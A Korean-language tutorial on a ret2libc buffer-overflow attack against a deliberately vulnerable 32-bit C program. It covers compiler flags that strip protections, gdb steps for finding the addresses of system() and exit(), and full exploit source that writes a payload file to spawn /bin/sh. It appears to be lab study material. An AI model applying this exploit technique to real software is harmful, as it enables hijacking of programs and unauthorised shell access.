Ret2libc 공격
Ret2libc 공격
stack.c
#include <stdio.h>
#include <string.h>
int vul_func(char *str) {
char buffer[50];
printf("vul_func start\n");
strcpy(buffer, str);
printf("after strcpy, next : return\n");
return 1;
}
int main(int argc, char **argv) {
char str[240];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 200, badfile);
vul_func(str);
printf("Returned Properly\n");
return 1;
}
Vulnerable한 함수 vul_func()가 존재한다.
gcc -m32 -fno-stack-protector -z noexecstack -o stack stack.c
스택실행이 불가능한 상황을 가정하고(noexecstack) 32비트로 컴파일한다, stack canary 제거
gdb stack
GDB로 디버깅 시작
p system
, p exit
을 통해 각 라이브러리 함수의 주소를 추출
system() : 0xf7c47cd0
exit() : 0xf7c3a1f0
"/bin/sh"
의 주소를 얻기 위해 테스트 파일을 만든다.
checkbinsh.c
#include <stdio.h>
#include <stdlib.h>
int main() {
char *shell = (char *)getenv("MYSHELL");
if(shell){
printf(" Value: %s\n", shell);
printf(" Address: %x\n", (unsigned int)shell);
}
return 1;
}
MYSHELL 환경변수가 필요하므로 MYSHELL 환경변수를 등록해준다.
export MYSHELL="/bin/sh"
checkbinsh.c를 컴파일한다. 최종파일인 ./stack
과 길이를 맞춰주기 위해 같은 5글자인 ./env55
라는 이름으로 컴파일 했다.
⚠️
"/bin/sh"
의 주소는 파일 이름의 길이에 따라 달라진다! 만약 env7777이라는 이름으로 컴파일한다면 주소는 env55일때와 다르다.
이제, stack 바이너리파일에서 vul_func의 return address를 확인해야 한다. stack은 badfile자체가 페이로드로 봐도 되므로, badfile을 임의로 작성해준다.
vul_func()의 지역변수 buffer는 50바이트를 가지므로 badfile을 다음과 같이 작성해주었다.
A * 50 + B * 8 + C * 8 + D * 8 + E * 8, 총 96바이트 Payload
gdb stack
(gdb) disassemble vul_func
return 명령어의 주소를 알아낸다 : 0x0000121e <+81>
(gdb) b *vul_func+81
(gdb) r
vul_func()의 return 명령어에 break point를 걸고, 실행한다.
$esp
부터 10개의 주소를 확인합니다. 43 = C이므로 CCCCDDDDDDDDEEEEEEEE가 스택에 들어간 것을 확인할 수 있다.
0xffffd39c: 0x43434343이 Return address임을 확인할 수 있다.
AAAA...AAAABBBBBBBBCCCC*CCCC*DDDDDDDDEEEEEEEE
에서 리턴어드레스 시작부분은 *로 감싸여 있는 C 부분임을 알 수 있으며,
이 부분의 인덱스는 62이다.
return address 보다 낮은 주소 어딘가에 dummy space 8바이트가 존재하여
buf(50) + saved EBP(4) = 54가 아닌 62부터 시작한다.
우리는 이 부분을 아래와 같이 오염시켜야 한다.
- 먼저 return address를 system()주소로 오염시켜 라이브러리에 있는 system() 함수를 호출한다.
이 함수는 파라미터로 +8 주소의 내용을 파라미터로 받으므로 return address+8의 주소는 system()의 파라미터로 "/bin/sh"
의 주소인 0xffffd73d
를 넘겨준다.
- system()함수가 종료되면 (쉘이 종료되면) system()의 return address를 exit()라이브러리 함수 호출로 다시 오염시켜 정상 종료처럼 보이게 만든다.
- 따라서 위 그림과 같이 높은 스택부터 차례로 system(), exit(), “/bin/sh”이 들어가야 한다.
ret_to_libc_exploit.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[200];
FILE *badfile;
memset(buf, 0xaa, 200); //fill the buffer with non-zeros
*(long *) &buf[70] = 0xffffd73d ; //bin sh
*(long *) &buf[66] = 0xf7c3a1f0 ; //exit()
*(long *) &buf[62] = 0xf7c47cd0 ; //system()
badfile = fopen("./badfile", "w");
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
badfile payload를 작성하기 위해 위와 같은 프로그램을 만든다. 0x00(Null문자)가 들어가면 프로그램이 인식을 하지 못하기 때문에 방지를 위하여 0xaa로 버퍼를 가득 채우고 시작한다.
gcc -m32 -o ret_to_libc_exploit ret_to_libc_exploit.c
./ret_to_libc_exploit
./stack
bin/sh
이 열리는 모습을 확인할 수 있다.